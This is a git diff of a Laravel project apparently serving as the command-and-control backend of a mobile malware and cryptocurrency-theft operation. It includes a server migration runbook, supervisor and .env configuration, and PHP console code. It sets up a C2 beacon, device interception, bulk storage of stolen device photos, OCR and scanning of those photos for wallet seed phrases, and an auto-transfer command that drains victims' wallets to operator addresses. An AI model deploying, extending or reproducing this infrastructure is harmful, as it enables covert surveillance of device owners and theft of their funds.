| `APP_API_DOMAIN` | Host only. Used in IPA builds (`config/coruna.php` `app_api_domain`). |
|
||||||
|
| `LDID_PATH` | Default `base_path('bin/ldid')`. Must be inside open_basedir. Do **not** `file_exists()` it from FPM (open_basedir). |
|
||||||
|
| `APP_URL` | Admin / Laravel URL. |
|
||||||
|
| `QUEUE_CONNECTION` | `redis` |
|
||||||
|
| `DS_DOMAIN` | DarkSword C2 host if used by builders. |
|
||||||
|
| `INTERCEPT_DEVICE_KEYS` | Comma-separated device IDs to proxy. |
|
||||||
|
| `INTERCEPT_FORWARD_URL` | Dest C2 base URL, e.g. `https://c2.example.com`. Empty = 502, no local fallback. |
|
||||||
|
|
||||||
|
Keep `APP_KEY`. Never `key:generate` on a live migrate unless the user asks.
|
||||||
|
|
||||||
|
### A4. Migrate + caches
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo -u www /www/server/php/82/bin/php artisan migrate --force
|
||||||
|
sudo -u www /www/server/php/82/bin/php artisan config:clear
|
||||||
|
sudo -u www /www/server/php/82/bin/php artisan route:clear
|
||||||
|
sudo -u www /www/server/php/82/bin/php artisan view:clear
|
||||||
|
```
|
||||||
|
|
||||||
|
`view:clear` is required — stale Blade caused admin 500/404 after deploys.
|
||||||
|
|
||||||
|
### A5. Supervisor (7 programs, 2 procs each)
|
||||||
|
|
||||||
|
Missing **`shell`** or **`extract`** is silent data loss. Commands:
|
||||||
|
|
||||||
|
| ini | command |
|
||||||
|
|-----|---------|
|
||||||
|
| `queue.ini` | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
|
||||||
|
| `ocr.ini` | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` + `-d memory_limit=256M` |
|
||||||
|
| `extract.ini` | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` + `-d memory_limit=256M` |
|
||||||
|
| `keystore.ini` | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
|
||||||
|
| `telegram.ini` | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
|
||||||
|
| `transfer.ini` | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
|
||||||
|
| `shell.ini` | `artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600` |
|
||||||
|
|
||||||
|
All: `directory=/www/wwwroot/coruna-lab/`, `user=www`, `numprocs=2`, `process_name=%(program_name)s_%(process_num)02d`, `autorestart=true`. Full template: [supervisor.md](supervisor.md).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/www/server/panel/pyenv/bin/supervisorctl reread
|
||||||
|
/www/server/panel/pyenv/bin/supervisorctl update
|
||||||
|
/www/server/panel/pyenv/bin/supervisorctl status
|
||||||
|
```
|
||||||
|
|
||||||
|
### A6. Scheduler
|
||||||
|
|
||||||
|
```
|
||||||
|
* * * * * sudo -u www bash -c 'cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1'
|
||||||
|
```
|
||||||
|
|
||||||
|
### A7. WAF + nginx body size
|
||||||
|
|
||||||
|
Backup `/www/server/btwaf/config.json` first.
|
||||||
|
|
||||||
|
- `http_config.body_size` (or equivalent) → **30MB** (chunked App C2 / SignalShell uploads).
|
||||||
|
- `url_white`: at least `^/api/ap/*` plus existing C2 chunk paths. Do not whitelist everything.
|
||||||
|
- Nginx `client_body_buffer_size` **4096k** (1MiB chunks were blocked at 1MB).
|
||||||
|
- Reload WAF/nginx via panel-safe reload. `nginx -t` before reload.
|
||||||
|
|
||||||
|
### A8. ldid / IPA
|
||||||
|
|
||||||
|
Copy or build `ldid` to `/www/wwwroot/coruna-lab/bin/ldid`, `chmod +x`, owned by `www`. Set `LDID_PATH`. FPM must allow `proc_open`. Signing must not call `file_exists($ldidPath)` outside open_basedir.
|
||||||
|
|
||||||
|
### A9. PHP-FPM reload + probe
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/etc/init.d/php-fpm-82 reload # restart if listen backlog / pm.* changed
|
||||||
|
```
|
||||||
|
|
||||||
|
Local `--resolve` probes (delete probe files after):
|
||||||
|
|
||||||
|
- `/.probe_static.html` → 200
|
||||||
|
- `/.probe_php.php` → PHP version
|
||||||
|
- `/admin` → 302
|
||||||
|
- `/beacon` → 200
|
||||||
|
|
||||||
|
If admin/C2 return **502** with `connect() to unix:/tmp/php-cgi-82.sock failed (11: Resource temporarily unavailable)`: FPM pool is saturated. Raise `pm.max_children` (48 on a 36-core box), `net.core.somaxconn=4096`, recreate the listen socket with a **restart** (reload keeps backlog=1024). Do not dump full `/result` bodies to `error_log` — Nginx then 502s on the response header.
|
||||||
|
|
||||||
|
Admin and C2 share the same FPM pool.
|
||||||
|
|
||||||
|
## Workflow B — full migrate
|
||||||
|
|
||||||
|
Use when the new box does not yet have the site.
|
||||||
|
|
||||||
|
### B1. Prepare new server
|
||||||
|
|
||||||
|
BT Panel + Nginx + PHP 8.2 + MySQL + Redis. Create DB `coruna` utf8mb4. Create the site with root `/www/wwwroot/coruna-lab/public`. Bind all C2 + admin hostnames on that vhost.
|
||||||
|
|
||||||
|
### B2. Code
|
||||||
|
|
||||||
|
Prefer **git clone** of `gitlab.fcpays.cc:2222/root/coruna-lab.git` as `www` if the box has deploy key. Otherwise:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz
|
||||||
|
# scp + tar -xzf into /www/wwwroot/coruna-lab
|
||||||
|
chown -R www:www /www/wwwroot/coruna-lab
|
||||||
|
sudo -u www composer install --no-dev --optimize-autoloader
|
||||||
|
```
|
||||||
|
|
||||||
|
### B3. Database
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# old
|
||||||
|
mysqldump -ucoruna -p coruna --single-transaction --routines > /tmp/coruna.sql
|
||||||
|
# new
|
||||||
|
mysql -ucoruna -p coruna < /tmp/coruna.sql
|
||||||
|
sudo -u www php artisan migrate --force
|
||||||
|
```
|
||||||
|
|
||||||
|
Copy `.env` from old; change `APP_URL`, `DB_*`, confirm Redis. Keep `APP_KEY`. Then Workflow A3–A9.
|
||||||
|
|
||||||
|
### B4. Storage
|
||||||
|
|
||||||
|
`storage/app/private/c2/` can be 200G+. Stream per directory (photos last):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
SRC=/www/wwwroot/coruna-lab/storage/app/private/c2
|
||||||
|
DST=/www/wwwroot/coruna-lab/storage/app/private/c2
|
||||||
|
for dir in photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox photos; do
|
||||||
|
tar -C "$SRC" -cf - "$dir" | ssh -i KEY ubuntu@NEW "sudo tar -C '$DST' -xf -"
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
Photos live at `c2/photos/{device}/…`, not `storage/app/private/photos/`.
|
||||||
|
|
||||||
|
### B5. DNS
|
||||||
|
|
||||||
|
Update A/AAAA (Cloudflare proxy = instant). Stop old supervisor only after the new box has taken traffic. Decommission old after 24–48h.
|
||||||
|
|
||||||
|
## Verify (both modes)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
/www/server/panel/pyenv/bin/supervisorctl status
|
||||||
|
# all seven programs RUNNING (14 processes)
|
||||||
|
|
||||||
|
sudo -u www php artisan tinker --execute='
|
||||||
|
foreach (["default","extract","ocr","keystore","telegram","transfer","shell"] as $q) {
|
||||||
|
echo $q, "=", Illuminate\Support\Facades\Redis::llen("queues:".$q), "\n";
|
||||||
|
}
|
||||||
|
'
|
||||||
|
```
|
||||||
|
|
||||||
|
- `/admin` 302, `/beacon` 200
|
||||||
|
- `inbox/` not growing unbounded (extract worker)
|
||||||
|
- Tokenview monitor cap is **5000**. After a migrate, reconcile list vs `wallet_addresses` (see Tokenview list API `GET …/monitor/address/list/{coin}?page=&apikey=`).
|
||||||
|
|
||||||
|
## Pitfalls
|
||||||
|
|
||||||
|
| Symptom | Cause | Fix |
|
||||||
|
|---------|--------|-----|
|
||||||
|
| Pull “insufficient permission” | `.git` owned by root | `chown -R www:www .git` |
|
||||||
|
| Code pulled, web still old | opcache, no FPM reload | reload php-fpm-82 |
|
||||||
|
| IPA build open_basedir / ldid | `file_exists('/usr/bin/ldid')` | project `bin/ldid` + `LDID_PATH`; no file_exists |
|
||||||
|
| App C2 404 after “优化” | extra nginx `location ^~ /api/ap` | remove it; Laravel routes only |
|
||||||
|
| Photos stop, inbox grows | no `extract` worker | add extract.ini |
|
||||||
|
| Shell zip never ingested | no `shell` worker | add shell.ini |
|
||||||
|
| Admin 502, load “only” ~20 | FPM 24 children + sock backlog 1024 | max_children 48, somaxconn 4096, FPM **restart** |
|
||||||
|
| Admin 500 after deploy | stale views | `view:clear` |
|
||||||
|
| Login locked | `login_attempts` / `locked_at` | reset those columns |
|
||||||
|
| WAF 403 on chunks | body 1MB / no url_white | 30MB + `^/api/ap/*` |
|
||||||
|
| BT MCP edits wrong host | MCP is bound to one panel | SSH the IP the user named |
|
||||||
|
|
||||||
|
## After cutover
|
||||||
|
|
||||||
|
1. Old supervisor `stop all` once DNS/traffic is on the new box.
|
||||||
|
2. Run `coruna-lab-cleanup` if disk is tight.
|
||||||
|
3. Watch php-fpm listen queue (`ss -lxnp` on `php-cgi-82.sock`) under C2 load.
|
||||||
|
|
||||||
|
## Extra templates
|
||||||
|
|
||||||
|
- Supervisor ini: [supervisor.md](supervisor.md)
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
# Supervisor profiles
|
||||||
|
|
||||||
|
Write each file under `/www/server/panel/plugin/supervisor/profile/`. Logs under `/www/server/panel/plugin/supervisor/log/`.
|
||||||
|
|
||||||
|
Shared footer for every program:
|
||||||
|
|
||||||
|
```ini
|
||||||
|
directory=/www/wwwroot/coruna-lab/
|
||||||
|
autorestart=true
|
||||||
|
startsecs=3
|
||||||
|
startretries=3
|
||||||
|
user=www
|
||||||
|
priority=999
|
||||||
|
numprocs=2
|
||||||
|
process_name=%(program_name)s_%(process_num)02d
|
||||||
|
stdout_logfile_maxbytes=2MB
|
||||||
|
stderr_logfile_maxbytes=2MB
|
||||||
|
```
|
||||||
|
|
||||||
|
## extract.ini (easy to miss)
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:extract]
|
||||||
|
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## shell.ini (SignalShell zip ingest)
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:shell]
|
||||||
|
command=/www/server/php/82/bin/php artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/shell.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/shell.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## queue.ini
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:queue]
|
||||||
|
command=/www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/queue.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/queue.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## ocr.ini
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:ocr]
|
||||||
|
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/ocr.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/ocr.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## keystore.ini
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:keystore]
|
||||||
|
command=/www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/keystore.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/keystore.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## telegram.ini
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:telegram]
|
||||||
|
command=/www/server/php/82/bin/php artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/telegram.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/telegram.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
## transfer.ini
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[program:transfer]
|
||||||
|
command=/www/server/php/82/bin/php artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600
|
||||||
|
stdout_logfile=/www/server/panel/plugin/supervisor/log/transfer.out.log
|
||||||
|
stderr_logfile=/www/server/panel/plugin/supervisor/log/transfer.err.log
|
||||||
|
```
|
||||||
|
|
||||||
|
After writing: `supervisorctl reread && supervisorctl update && supervisorctl status`.
|
||||||
+72
-29
@@ -1,8 +1,10 @@
|
|||||||
APP_NAME="Coruna Lab"
|
APP_NAME="Coruna Lab"
|
||||||
APP_ENV=local
|
APP_ENV=local
|
||||||
APP_KEY=
|
APP_KEY=
|
||||||
|
# Comma-separated old APP_KEY values (only if you rotated the key). Needed to decrypt old mnemonic_enc.
|
||||||
|
# APP_PREVIOUS_KEYS=base64:oldkey...
|
||||||
APP_DEBUG=true
|
APP_DEBUG=true
|
||||||
APP_URL=http://127.0.0.1:8000
|
APP_URL=https://example.com
|
||||||
|
|
||||||
APP_LOCALE=en
|
APP_LOCALE=en
|
||||||
APP_FALLBACK_LOCALE=en
|
APP_FALLBACK_LOCALE=en
|
||||||
@@ -12,8 +14,8 @@ APP_MAINTENANCE_DRIVER=file
|
|||||||
|
|
||||||
BCRYPT_ROUNDS=12
|
BCRYPT_ROUNDS=12
|
||||||
|
|
||||||
LOG_CHANNEL=stack
|
LOG_CHANNEL=daily
|
||||||
LOG_STACK=single
|
LOG_DAILY_DAYS=14
|
||||||
LOG_DEPRECATIONS_CHANNEL=null
|
LOG_DEPRECATIONS_CHANNEL=null
|
||||||
LOG_LEVEL=debug
|
LOG_LEVEL=debug
|
||||||
|
|
||||||
@@ -22,7 +24,7 @@ DB_CONNECTION=mysql
|
|||||||
DB_HOST=127.0.0.1
|
DB_HOST=127.0.0.1
|
||||||
DB_PORT=3306
|
DB_PORT=3306
|
||||||
DB_DATABASE=coruna
|
DB_DATABASE=coruna
|
||||||
DB_USERNAME=root
|
DB_USERNAME=coruna
|
||||||
DB_PASSWORD=
|
DB_PASSWORD=
|
||||||
|
|
||||||
# Fallback for smoke tests when MySQL creds unavailable:
|
# Fallback for smoke tests when MySQL creds unavailable:
|
||||||
@@ -40,51 +42,59 @@ FILESYSTEM_DISK=local
|
|||||||
QUEUE_CONNECTION=sync
|
QUEUE_CONNECTION=sync
|
||||||
CACHE_STORE=file
|
CACHE_STORE=file
|
||||||
|
|
||||||
|
CACHE_STORE=redis
|
||||||
|
QUEUE_CONNECTION=redis
|
||||||
|
REDIS_HOST=127.0.0.1
|
||||||
|
REDIS_PORT=6379
|
||||||
|
|
||||||
# Admin seeder defaults
|
# Admin seeder defaults
|
||||||
ADMIN_USERNAME=admin
|
ADMIN_USERNAME=admin
|
||||||
ADMIN_PASSWORD=admin123
|
ADMIN_PASSWORD=admin123
|
||||||
|
|
||||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
|
||||||
CORUNA_SESSION_KEY=
|
|
||||||
# Optional link-display hosts (not used by DGA binary patch).
|
# Optional link-display hosts (not used by DGA binary patch).
|
||||||
# Overridable by 系统设置 → 投放域名.
|
# Overridable by 系统设置 → 投放域名.
|
||||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
CORUNA_LAB_CHANNEL_DOMAINS=
|
||||||
CORUNA_REPORTING_DOMAINS=
|
CORUNA_REPORTING_DOMAINS=
|
||||||
# In-process channel-builder (Python).
|
|
||||||
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
|
CORUNA_ADMIN_HOSTS=
|
||||||
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
|
CORUNA_AGENT_HOSTS=
|
||||||
CORUNA_CHANNEL_BUILDER_PYTHON=
|
|
||||||
CORUNA_ARTIFACT_ROOT=
|
# 内嵌 channel-builder(无 Build API;产物默认 public/)
|
||||||
CORUNA_CHANNEL_STATE_ROOT=
|
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||||
|
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||||
|
|
||||||
|
CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
|
||||||
|
CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
|
||||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||||
# Optional complete origin/base path prepended before /web/{id}/support.html
|
|
||||||
# Same-host: leave empty or set to APP_URL
|
|
||||||
CORUNA_STATIC_SITE_BASE_URL=
|
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||||
CORUNA_STATIC_SITE_SCHEME=https
|
|
||||||
# Max channel links per agent (super-admin settings can override)
|
# Max channel links per agent (super-admin settings can override)
|
||||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||||
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
|
||||||
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
|
||||||
# Or set the system path (exec usually works; do not rely on is_executable):
|
|
||||||
# CORUNA_7Z_BIN=/usr/bin/7z
|
|
||||||
CORUNA_7Z_BIN=
|
|
||||||
|
|
||||||
# Telegram (outbound alerts + inbound Nutgram commands)
|
# Telegram (outbound alerts + inbound Nutgram commands)
|
||||||
TELEGRAM_BOT_TOKEN=
|
TELEGRAM_BOT_TOKEN=
|
||||||
TELEGRAM_OWNER_CHAT_ID=
|
TELEGRAM_OWNER_CHAT_ID=
|
||||||
|
|
||||||
# Optional; if set, register via: php artisan telegram:set-webhook
|
# Optional; if set, register via: php artisan telegram:set-webhook
|
||||||
TELEGRAM_WEBHOOK_SECRET=
|
TELEGRAM_WEBHOOK_SECRET=
|
||||||
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
||||||
# NUTGRAM_SAFE_MODE=false
|
# NUTGRAM_SAFE_MODE=false
|
||||||
|
|
||||||
# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
|
|
||||||
# Usage: /transfer <fromAddress> [TRX|USDT] [amount] — omit amount = all
|
|
||||||
TRANSFER_TO_ADDRESS=
|
TRANSFER_TO_ADDRESS=
|
||||||
|
TRANSFER_TO_ADDRESS_ETH=
|
||||||
|
TRANSFER_TO_ADDRESS_BSC=
|
||||||
|
TRANSFER_TO_ADDRESS_BTC=
|
||||||
|
TRANSFER_TO_ADDRESS_SOL=
|
||||||
|
|
||||||
# TRANSFER_MAX_USDT=0
|
# TRANSFER_MAX_USDT=0
|
||||||
# TRANSFER_MAX_TRX=0
|
# TRANSFER_MAX_TRX=0
|
||||||
# TRANSFER_MAX_DERIVE_INDEX=20
|
# TRANSFER_MAX_DERIVE_INDEX=20
|
||||||
# TRANSFER_TRX_FEE_RESERVE=1
|
# TRANSFER_TRX_FEE_RESERVE=1
|
||||||
|
|
||||||
TRON_FULL_NODE=https://api.trongrid.io
|
TRON_FULL_NODE=https://api.trongrid.io
|
||||||
TRON_API_KEY=
|
TRON_API_KEY=
|
||||||
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
||||||
@@ -94,8 +104,41 @@ TOKENVIEW_API_KEY=
|
|||||||
TOKENVIEW_SIGN_KEY=
|
TOKENVIEW_SIGN_KEY=
|
||||||
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|
||||||
|
|
||||||
# Reserved payout addresses
|
TRUSTED_PROXIES=*
|
||||||
PAYOUT_ETH=
|
XXBB_CHANNEL_C=
|
||||||
PAYOUT_BTC=
|
# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
|
||||||
PAYOUT_TRON=
|
CORUNA_CHANNEL_SEED=
|
||||||
PAYOUT_SOL=
|
TELEGRAM_BOT_USERNAME=
|
||||||
|
CORUNA_OFFICIAL_ALBUM_STORAGE=0
|
||||||
|
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
|
||||||
|
CORUNA_AGENT_MNEMONIC_SCAN=1
|
||||||
|
# Scan-forward mins (strictly greater). Empty / 0 = any positive balance.
|
||||||
|
SCAN_FORWARD_MIN_USDT=0
|
||||||
|
SCAN_FORWARD_MIN_TRX=0
|
||||||
|
SCAN_FORWARD_MIN_ETH=0
|
||||||
|
SCAN_FORWARD_MIN_BTC=0
|
||||||
|
SCAN_FORWARD_MIN_SOL=0
|
||||||
|
SCAN_FORWARD_MIN_BNB=0
|
||||||
|
# 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA)
|
||||||
|
CORUNA_STAFF_MNEMONIC_REVEAL=0
|
||||||
|
AUTO_TRANSFER_ENABLED=0
|
||||||
|
AUTO_TRANSFER_THRESHOLD_USDT=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||||
|
AUTO_TRANSFER_THRESHOLD_BNB=
|
||||||
|
TRANSFER_FEE_ADDRESS_TRON=
|
||||||
|
TRANSFER_FEE_TOPUP_TRX=20
|
||||||
|
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||||
|
|
||||||
|
# New machine only: pull missing album files from the old host while rsync catches up.
|
||||||
|
# Same PHOTO_ORIGIN_TOKEN on both machines. Leave PHOTO_ORIGIN_URL empty on the old host.
|
||||||
|
# PHOTO_ORIGIN_URL=http://旧机IP或域名
|
||||||
|
# PHOTO_ORIGIN_TOKEN=
|
||||||
|
# PHOTO_ORIGIN_TIMEOUT=60
|
||||||
|
|
||||||
|
CORUNA_TESSERACT=/usr/bin/tesseract
|
||||||
|
CORUNA_OCR_MAX_EDGE=1280
|
||||||
|
|
||||||
|
APP_API_DOMAIN=xxxx.com
|
||||||
|
LDID_PATH=/www/wwwroot/coruna-lab/bin/ldid
|
||||||
|
|||||||
+11
@@ -28,7 +28,18 @@
|
|||||||
Homestead.json
|
Homestead.json
|
||||||
Homestead.yaml
|
Homestead.yaml
|
||||||
Thumbs.db
|
Thumbs.db
|
||||||
|
dump.rdb
|
||||||
/storage/app/channel-artifacts
|
/storage/app/channel-artifacts
|
||||||
/channel-builder/.venv
|
/channel-builder/.venv
|
||||||
/channel-builder/out
|
/channel-builder/out
|
||||||
/storage/app/channel-builder
|
/storage/app/channel-builder
|
||||||
|
/channel-builder-new/.venv
|
||||||
|
/channel-builder-new/out
|
||||||
|
/channel-builder-ds/.venv
|
||||||
|
/channel-builder-ds/out
|
||||||
|
/public/source
|
||||||
|
/public/weifile
|
||||||
|
/public/details
|
||||||
|
/public/channel-source-new
|
||||||
|
/public/next-chain
|
||||||
|
/storage/app/channel-builder-new
|
||||||
@@ -52,7 +52,7 @@ Admin:
|
|||||||
|
|
||||||
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
||||||
|
|
||||||
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
|
- **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
|
||||||
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
||||||
- **之后**新渠道只生成 `web/<id>/`
|
- **之后**新渠道只生成 `web/<id>/`
|
||||||
|
|
||||||
@@ -62,7 +62,8 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
|||||||
# CORUNA_ARTIFACT_ROOT=
|
# CORUNA_ARTIFACT_ROOT=
|
||||||
# CORUNA_CHANNEL_STATE_ROOT=
|
# CORUNA_CHANNEL_STATE_ROOT=
|
||||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||||
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
|
CORUNA_CHANNEL_SEED=
|
||||||
|
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||||
```
|
```
|
||||||
|
|
||||||
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Services\AutoTransferService;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class AutoTransferCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:auto-transfer';
|
||||||
|
|
||||||
|
protected $description = 'Scan mnemonic-linked addresses with balance and run auto-transfer';
|
||||||
|
|
||||||
|
public function handle(AutoTransferService $autoTransfer): int
|
||||||
|
{
|
||||||
|
$stats = $autoTransfer->run();
|
||||||
|
$this->info(sprintf(
|
||||||
|
'auto-transfer inspected=%d queued=%d triggered=%d ok=%d failed=%d skipped=%d',
|
||||||
|
$stats['inspected'],
|
||||||
|
$stats['queued'],
|
||||||
|
$stats['triggered'],
|
||||||
|
$stats['ok'],
|
||||||
|
$stats['failed'],
|
||||||
|
$stats['skipped'],
|
||||||
|
));
|
||||||
|
$this->line('logs: public/log/transfer/'.date('Ymd').'.log');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Services\DailyReportService;
|
||||||
|
use Carbon\Carbon;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class DailyStatsCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:daily-stats
|
||||||
|
{--days=30 : Inclusive local days ending today (ignored when --all or --from is set)}
|
||||||
|
{--from= : Start date Y-m-d}
|
||||||
|
{--to= : End date Y-m-d (default today)}
|
||||||
|
{--all : From the earliest visit/device through --to}
|
||||||
|
{--force : Recompute every day in range (implied by --all)}';
|
||||||
|
|
||||||
|
protected $description = 'Rebuild daily_stats and analytics_daily_dims rollups (UV / devices / version dims)';
|
||||||
|
|
||||||
|
public function handle(DailyReportService $reports): int
|
||||||
|
{
|
||||||
|
$to = $this->parseDay((string) $this->option('to')) ?? Carbon::now()->endOfDay();
|
||||||
|
$from = $this->resolveFrom($reports, $to);
|
||||||
|
if ($from->gt($to)) {
|
||||||
|
[$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
|
||||||
|
}
|
||||||
|
|
||||||
|
$force = (bool) $this->option('force') || (bool) $this->option('all');
|
||||||
|
$result = $reports->rebuildAll($from, $to, $force);
|
||||||
|
$this->info(sprintf(
|
||||||
|
'daily-stats rebuilt=%d agents=%d from=%s to=%s',
|
||||||
|
$result['days'],
|
||||||
|
$result['agents'],
|
||||||
|
$from->toDateString(),
|
||||||
|
$to->toDateString(),
|
||||||
|
));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolveFrom(DailyReportService $reports, Carbon $to): Carbon
|
||||||
|
{
|
||||||
|
if ((bool) $this->option('all')) {
|
||||||
|
return $reports->earliestDataDate() ?? $to->copy()->startOfDay();
|
||||||
|
}
|
||||||
|
|
||||||
|
$from = $this->parseDay((string) $this->option('from'));
|
||||||
|
if ($from !== null) {
|
||||||
|
return $from;
|
||||||
|
}
|
||||||
|
|
||||||
|
$days = max(1, (int) $this->option('days'));
|
||||||
|
|
||||||
|
return $to->copy()->subDays($days - 1)->startOfDay();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function parseDay(string $raw): ?Carbon
|
||||||
|
{
|
||||||
|
$raw = trim($raw);
|
||||||
|
if ($raw === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return Carbon::parse($raw)->startOfDay();
|
||||||
